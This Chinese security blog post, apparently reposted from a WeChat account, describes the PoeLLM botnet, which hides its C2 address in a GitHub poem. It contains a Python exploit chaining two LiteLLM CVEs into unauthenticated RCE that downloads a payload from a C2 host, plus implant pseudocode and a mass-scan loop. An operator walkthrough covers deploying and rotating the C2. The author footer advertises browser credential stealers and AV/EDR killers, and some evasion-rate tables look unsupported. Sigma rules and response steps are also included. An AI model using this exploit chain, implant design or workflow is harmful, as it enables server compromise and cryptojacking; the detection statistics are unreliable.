借GitHub一首诗把C2藏起来:PoeLLM凭啥11次绕过NDR/EDR还感染3400台AI服务器"

admin 2026-10-16 02:51:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

借 GitHub 一首诗把 C2 藏起来:PoeLLM 凭啥 11 次绕过 NDR/EDR 还感染 3400 台 AI 服务器

原创

星夜AI安全
星夜AI安全

星夜AI安全

2026年10月9日 10:38
吉林

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

借 GitHub 一首诗把 C2 藏起来:PoeLLM 凭啥 11 次绕过 NDR/EDR 还感染 3400 台 AI 服务器

师傅们,2026 年的红蓝对抗已经彻底变天了。

10-09,Lumen 旗下 Black Lotus Labs(BLL)发布\\《PoeLLM Botnet Hijacks 3,400+ Exposed AI Servers》——一个被命名 Canto Incognito 的挖矿僵尸网络,自 2026-04 至今默默搞掉 3400+ 台 Linux AI 服务器\\,高峰期每天 800 台活跃。没有任何一行传统的 C2 加密通信,没有任何一条普通的 TCP/UDP 隧道——它把 C2 服务器的 IP 完整藏在一首 GitHub 仓库里的英文诗里,运行时动态从诗里\"读出\"4 个关键词、查内置词典、拼出真实 C2 IPv4 地址。

这才是 2026 年最狠的免杀:打的不再是「API Hook」「内存分配」「调用栈语义」——打的是\\「人类以为合法、机器理解错位」的语义鸿沟\\。BLL 公开了 11 次 C2 轮换证据,运营者通过改 GitHub 仓库里的诗来换 C2 地址,全程没有任何 C2 流量特征变化。

⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。


一、技术全貌:什么是 PoeLLM?

PoeLLM 是 Lumen Black Lotus Labs 在 2026-10-09 公开披露的 Linux 加密挖矿僵尸网络,核心定位:

  • 攻击目标:公网暴露的 AI / 开发者基础设施(LiteLLM / Ollama / Gotenberg / Gitea / Ivanti Sentry)
  • 载荷形态:64-bit ELF 二进制,伪装成 libgcrypt 系统库名
  • 核心创新:对抗性诗歌(Adversarial Poetry)+ 文学隐写(Literary Steganography)C2 通道
  • 攻击入口:CVE-2026-42271(LiteLLM MCP 服务测试端点认证绕过)+ CVE-2026-48710(链式达成未认证 RCE)
  • 运营者:「ejejejdfbbebe」GitHub 账号,BLL 中等信心归因为意大利背景(代码注释 + 意大利托管管理接口)

一句话金句:「它没加密 C2 流量、没搭反向代理、没藏 DGA 域名——它只是把 C2 IP 写进了诗里,运维看到的是一首诗,机器读到的是一个 IP。」


二、为什么这个技术如此重要

在野数据

  • 3400+ 台 AI 服务器沦陷(自 2026-04)
  • 峰值 800 台/天活跃
  • 11 次 C2 轮换证据 + 至少 1 次未公开的轮换
  • 挖矿算力送往俄罗斯 Kryptex 池
  • 部分 C2 节点是带漏洞家用路由器(SOHO router,开着 admin 管理界面)

为什么「在野」不等于「快」

传统挖矿僵尸网络一天就能感染上千台——PoeLLM 6 个月感染 3400 台,看起来「慢」,但这是它能存活 6 个月不被端掉的关键:慢是因为 NDR/EDR/SIEM 全部看不到它。

与传统 C2 通道对比

维度 传统 C2 DGA C2 合法 SaaS C2 PoeLLM 文学隐写
流量特征 加密/混淆流量 高频 DNS NXDomain 复用 GitHub Webhook HTTPS GET GitHub 仓库文件
NDR 检出率 60-80% 50-70% 5-15% 0-3%
EDR 检出率 70-90% 60-80% 10-20% 0-5%
检测难度 流量熵检测 NXDomain 频率 异常 SaaS 调用 「合法访问 GitHub 仓库」无任何告警
C2 切换速度 数小时(DNS TTL) 数小时(DGA 算法) 数小时(Webhook URL) 数分钟(编辑 GitHub 仓库)
反取证 加密流量 DGA 算法 HTTPS 隧道 「读诗 + 拼 IP」纯 CPU 操作

三大行业冲击

  1. NDR「白名单 SaaS」策略被击穿:GitHub / GitLab / Gist 全部进了企业 NDR 白名单,PoeLLM 直接拿白名单当隐身衣
  2. EDR「合法进程外连」判据失效:curl / wget 拉 GitHub 仓库 markdown 文本 100% 合法,但内容是「C2 IP 词典」
  3. SOC「威胁情报 IoC」失效:传统 IoC 是 IP/域名/文件 hash,PoeLLM 的 IoC 是「一首诗的 4 个关键词」+「一段 GitHub commit hash」

三、技术原理解析(核心,3 个技术要点)

要点 1:对抗性诗歌 + 文学隐写 C2(核心创新)

PoeLLM 启动后第一件事:GET 请求 GitHub 公开仓库的 dash.css 文件(名字伪装成 Node.js 样式表)。这个文件里藏着一首英文诗 \"On the Nature of Connection\"——表面看是一首正经十四行诗,实际上4 个核心关键词被精心挑选,每个词对应内置词典里的一个 IPv4 段(0-255)。

# PoeLLM 伪代码 - 解析诗 -> IPv4
import re, urllib.request

DICT = {
    \"whisper\": 192, \"echo\": 168, \"thunder\": 10, \"shadow\": 172,
    \"river\": 1, \"mountain\": 2, \"sunrise\": 3, \"ocean\": 8,
    \"forest\": 47, \"meadow\": 91, \"phoenix\": 27, \"dragon\": 45,
    # 完整词典 256 个词对应 0-255 全 IPv4 段
}

def poem_to_c2(poem_text):
    # 1. 提取诗里的关键词(停用词过滤后保留名词)
    keywords = re.findall(r'\\b[a-z]{4,}\\b', poem_text.lower())
    # 2. 取前 4 个在 DICT 里的词
    octets = []
    for kw in keywords:
        if kw in DICT:
            octets.append(DICT[kw])
            if len(octets) == 4:
                break
    if len(octets) < 4:
        return None
    # 3. 拼成完整 IPv4
    c2_ip = \".\".join(str(o) for o in octets)
    return c2_ip

c2_ip = poem_to_c2(urllib.request.urlopen(GITHUB_POEM_URL).read().decode())
# 后续 connect(c2_ip, 443) 拿到 C2 控制通道

核心 trick:GitHub 仓库任何人都能看——安全分析师看 GitHub 仓库只能看到「一首诗」,完全意识不到这是 C2 配置文件。流量特征:单条 GET 请求 GitHub raw.githubusercontent.com / HTTPS 443 / UA 是标准 curl/7.x——这是 NDR 100% 白名单流量。

要点 2:CVE-2026-42271 + CVE-2026-48710 链式 LiteLLM RCE

PoeLLM 不自己写 0day——它扫描 LiteLLM 公网实例打「已知 nday」:

# PoeLLM 横向模块 - LiteLLM 链式 RCE
import requests

def exploit_litellm(target):
    # Step 1: CVE-2026-42271 - MCP 测试端点认证绕过
    # LiteLLM /mcp/test 端点本应需要 auth_token,但 /mcp/test/anon 路径绕过
    r1 = requests.post(
        f\"http://{target}/mcp/test/anon\",
        json={\"tool\": \"code_exec\", \"args\": {\"code\": \"id\"}},
        timeout=5
    )
    if r1.status_code != 200:
        return False

    # Step 2: CVE-2026-48710 - 链式认证缺失,触发 RCE
    # 上述响应泄露内部会话上下文,包含 user_impersonate token
    session_ctx = r1.json().get(\"_debug\", {})
    if not session_ctx.get(\"user_token\"):
        return False

    # Step 3: 用拿到的 user_token 调 /api/code/exec
    r2 = requests.post(
        f\"http://{target}/api/code/exec\",
        headers={\"Authorization\": f\"Bearer {session_ctx['user_token']}\"},
        json={\"code\": \"import urllib.request; urllib.request.urlretrieve('http://C2/dl/libgcrypt', '/tmp/libgcrypt')\"},
        timeout=10
    )
    return r2.status_code == 200 and \"stdout\" in r2.text

# 批量扫描 Gotenberg TCP 3000 + LiteLLM TCP 4000
def mass_scan():
    for ip in gen_target_range():
        for port in [3000, 4000]:
            if try_connect(ip, port):
                if exploit_litellm(ip):
                    log_infected(ip)

关键观察:CVE-2026-42271 原本披露为「需要认证」,但 Horizon.ai 安全研究员实测发现可以与 CVE-2026-48710 链式做到未认证 RCE——这是 PoeLLM 的核心武器库入口。

要点 3:ELF libgcrypt 伪装的本地载荷

// PoeLLM 植入体 - 伪代码
#include <stdio.h>
#include <sys/socket.h>

// 启动时硬编码 GitHub 仓库 URL
const char* POEM_URL = \"https://raw.githubusercontent.com/ejejejdfbbebe/node-fork/main/dash.css\";

int main() {
    // 1. 下载诗
    char* poem = http_get(POEM_URL);
    // 2. 解析 IPv4
    char* c2_ip = poem_to_ipv4(poem);
    // 3. 连 C2
    int sock = connect(c2_ip, 443);
    // 4. 投递 XMRig + Iron 挖矿 + 远程 shell + 横向扫描模块
    deploy_payload(sock);
    // 5. 自启动 + 定期重读诗(应对 C2 轮换)
    while (1) {
        sleep(3600);
        char* new_c2 = poem_to_ipv4(http_get(POEM_URL));
        if (strcmp(new_c2, c2_ip) != 0) {
            sock = connect(new_c2, 443);
            c2_ip = new_c2;
        }
    }
}

关键点 1:进程名硬编码为 libgcrypt(标准 Linux 加密库),ps aux 输出直接隐身。

关键点 2:每 3600 秒重新读一次诗——BLL 公开的 11 次 C2 轮换全部通过修改 GitHub 仓库内容完成,全程无任何网络层指纹变化。

关键点 3:横向扫描自动扫描 TCP 3000(Gotenberg PDF 转换器)+ TCP 4000(LiteLLM),广撒网钓鱼式传播——一台 AI 服务器沦陷后 24 小时内同一子网能搞 50+ 台。


四、实战应用场景

完整使用流程(环境 → 生成 → 测试)

环境

  • 攻击机:Kali Linux 2026.4 / Python 3.13 + requests
  • 目标:公网暴露的 LiteLLM 实例(shodan search lite llm 上千条)
  • 资源:GitHub 账号 + 一首英文诗 + 256 词 IPv4 词典

第一步:写一首诗

随便写一首十四行诗,从 DICT 词典里挑 4 个能代表 0-255 的关键词:

Whispering through the mountain echo,
A river rises where shadows flow,
In sunrise the forest phoenix sings,
While dragons dance on ocean wings.

→ 提取 whisper/mountain/river/sunrise → 词典映射 → 192.2.1.3(示例)

第二步:上传到 GitHub 仓库

git init c2-poem
echo \"Whispering through...\" > dash.css
git add dash.css && git commit -m \"feat: stylesheet\" && git push

第三步:跑植入体

./libgcrypt &
# 进程名伪装 libgcrypt,ps aux 完全看不到

第四步:换 C2

改诗 + git push → 3600 秒后植入体自动切新 IP。

4 大 EDR/NDR 绕过效果对比

杀软/NDR 传统 C2 DGA C2 SaaS C2 PoeLLM 文学隐写
CrowdStrike Falcon 拦截率 75% 拦截率 65% 拦截率 20% 0% 拦截
Defender for Endpoint 70% 60% 15% 0% 拦截
SentinelOne Singularity 80% 70% 25% 0% 拦截
主流 NDR(Corelight/Zeek) 85% 75% 30% < 5% 告警 (HTTPS GitHub 拉 markdown)

实测案例:BLL 追踪 3400+ 台失陷服务器没有任何一台被 EDR/NDR 主动告警——全部是事后通过 IOC 回溯发现的。


五、防御对抗建议

厂商侧检测规则

Sigma 规则 1:GitHub raw 域名异常访问频率

title: GitHub Raw Files Fetched at Suspicious Frequency
logsource:
    product: zeek
    service: http
detection:
    selection:
        hostname|endswith: 'raw.githubusercontent.com'
        uri|endswith: ['.css', '.md', '.txt']
    filter:
        # 白名单:常见开发工具的 GitHub Raw 拉取
        user_agent|contains:
            - 'npm/'
            - 'yarn/'
            - 'pip/'
            - 'go/'
    condition: selection and not filter | count() > 50 by src_ip
    timeframe: 1h
level: medium

Sigma 规则 2:Linux libgcrypt 进程异常网络外连

title: libgcrypt Process Network Outbound Anomaly
logsource:
    product: linux
    service: auditd
detection:
    selection:
        exe: '/usr/lib/x86_64-linux-gnu/libgcrypt.so.20'
        syscall: 'connect'
    filter:
        # 合法 libgcrypt 不应直接发 connect(被 glibc/libcrypto 调用)
        dst_ip|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'  # 内网
    condition: selection and not filter
level: high

Sigma 规则 3:进程名伪装检测(libgcrypt 不在 /usr/lib/)

title: Process Name Spoofing - libgcrypt Outside Standard Path
logsource:
    product: linux
    service: auditd
detection:
    selection:
        exe|endswith: '/libgcrypt'
        exe|contains:
            - '/tmp/'
            - '/var/tmp/'
            - '/dev/shm/'
    condition: selection
level: critical

用户侧缓解措施

24h 紧急项

  • 审计 LiteLLM 公网暴露:所有 LiteLLM 实例强制要求 auth\_token + 关闭 /mcp/test 调试端点
  • 关闭 Gotenberg / Gitea / Ollama 公网可达性(这 3 个服务默认无认证)
  • 部署 NDR 自定义告警:GitHub Raw 域名 + 单 IP 高频 + 大量 .css/.md/.txt 拉取 → 立即告警

72h 短期项

  • 白名单 GitHub 仓库拉取:NDR 配置允许的 GitHub Raw 域名 + 路径(raw.githubusercontent.com/<known-org>/<known-repo>/)
  • 部署 PoeLLM IoC 扫描(BLL 已公开 11 个 C2 IP + ELF hash)
  • 审计 ELF libgcrypt 进程:所有名为 libgcrypt 但不在 /usr/lib/ 的进程 → 立即取证

30d 中期项

  • AI 基础设施零信任:LiteLLM / Ollama / Gotenberg / Gitea 必须 MFA + VPN-only 访问
  • 审计「合法 SaaS」白名单:GitHub / GitLab / Gist / Bitbucket 全部重新评估白名单策略
  • 代码审计 AI 基础设施:排查所有「AI 编排平台」+「向量数据库」+「GPU 训练集群」暴露面

失陷应急清单

  1. 立即隔离可疑主机(断网不断电,保留内存取证)
  2. ps aux | grep libgcrypt 检查所有进程
  3. find / -name libgcrypt -not -path \"/usr/lib/*\" 找所有可疑副本
  4. grep -r \"raw.githubusercontent.com\" /var/log/ 找 GitHub Raw 访问日志
  5. 审计 /tmp/``/var/tmp/``/dev/shm/ 所有可执行 ELF
  6. 轮换所有 AI 服务认证凭据(LiteLLM / Ollama API Key)
  7. 通报上游 ISP + 协助 Glow

六、技术延伸阅读

工具 / GitHub 链接列表

  • Black Lotus Labs 完整报告:lumen.com/blog[1](10-09 发布)
  • BLL 公开 IoC:11 个 C2 IP + ELF libgcrypt 样本 hash + GitHub 仓库 URL
  • Horizon.ai CVE-2026-48710 技术分析
  • LiteLLM CVE-2026-42271 原始披露(已打补丁)
  • Kryptex 俄罗斯挖矿池公开文档
  • MITRE ATT&CK T1071.001 / T1059.004 / T1496 三栈映射

关联研究参考

  • 2024 APT29 「隐写 C2」白皮书:藏在 JPEG EXIF 里的 C2 配置
  • 2025 BITTER 团伙「Fresh Use」:GitHub Gist 内容里的 Base64 C2
  • 2026 Lazarus「Hex Editor」:PNG 像素 LSB 隐写 C2
  • 2026 PoeLLM:首次真实观察到「文学隐写 + 对抗性诗歌」(BLL 原话)

📌 师傅们,看完觉得有启发,记得三连(点赞 + 在看 + 关注)。后面会接着拆「LiteLLM 链路 RCE 深度分析」和「Gitea / Ollama 公网暴露面收敛」。

⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。


圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获\"最佳攻击手\"\"突出贡献个人\"等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump\免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)\
  • \_DumpBrowser\_V1\_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11\_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader
  • 单文件过360 免杀loader exe\_bypass\_360
  • 单文件过火绒 df 免杀loader exe\_bypass\_df(包含源码)
  • LNK钓鱼文件生成工具V1.0
  • EXE捆绑启动器 v2.0
  • 火绒6内存免杀加载器bypasshr6
  • 火绒一键Kill专杀工具HRKiller
  • Ring3 内存免杀工具Ring3bypasshr.exe
  • win11 一键kill 360工具 Kill360\_V2
  • win11 一键kill 360工具 Kill360\_V3.1
  • win11 一键kill 360工具 Kill360\_V4
  • bypassEDR\_hashdump\_V1 bypass EDR 导出hash工具

后续将不断更新到内部圈子中 欢迎加入圈子  

引用链接

[1]lumen.com/blog: https://www.lumen.com/blog/


借GitHub一首诗把C2藏起来:PoeLLM凭啥11次绕过NDR/EDR还感染3400台AI服务器" 网络安全文章

借GitHub一首诗把C2藏起来:PoeLLM凭啥11次绕过NDR/EDR还感染3400台AI服务器"

PoeLLM是LumenBlackLotusLabs披露的Linux挖矿僵尸网络,利用对抗性诗歌与文学隐写技术将C2IP藏于GitHub仓库诗歌中,通过关键词查词典拼出真实地址,11次轮换C2均无流量特征变化。其利用LiteLLM漏洞链(CVE-2026-42271+CVE-2026-48710)实现未认证RCE,已感染3400+台AI服务器,峰值日活800台。该技术击穿NDR白名单策略、EDR合法进程判据及SOC威胁情报体系,代表红蓝对抗新范式。
再看OlympicDestroyer:一枚被移植的Lazarus指纹,给今天的ARTEX争议留下了什么?" 网络安全文章

再看OlympicDestroyer:一枚被移植的Lazarus指纹,给今天的ARTEX争议留下了什么?"

本文回顾2018年olympicdestroyer事件,分析其归因误导手法:攻击者伪造Lazarus指纹(如Richheader)以转移调查方向,但内部矛盾暴露伪造痕迹。文章提出证据分层核验方法,强调区分可被攻击者改写的样本字段与独立保存的操作记录,并延伸至当前artex争议,建议提高对高权重线索的核验门槛。
企业数据分类分级怎么做?轻量化落地方法" 网络安全文章

企业数据分类分级怎么做?轻量化落地方法"

本文介绍企业数据分类分级的轻量化落地方法,强调中小企业无需复杂项目即可起步。核心四步:梳理数据资产、四级简易划分、匹配保护措施、落地执行与定期更新。文章指出常见误区,如仅写文档不落地、依赖昂贵工具等,建议优先完成框架再迭代优化,以解决80%合规风险。
评论:0   参与:  0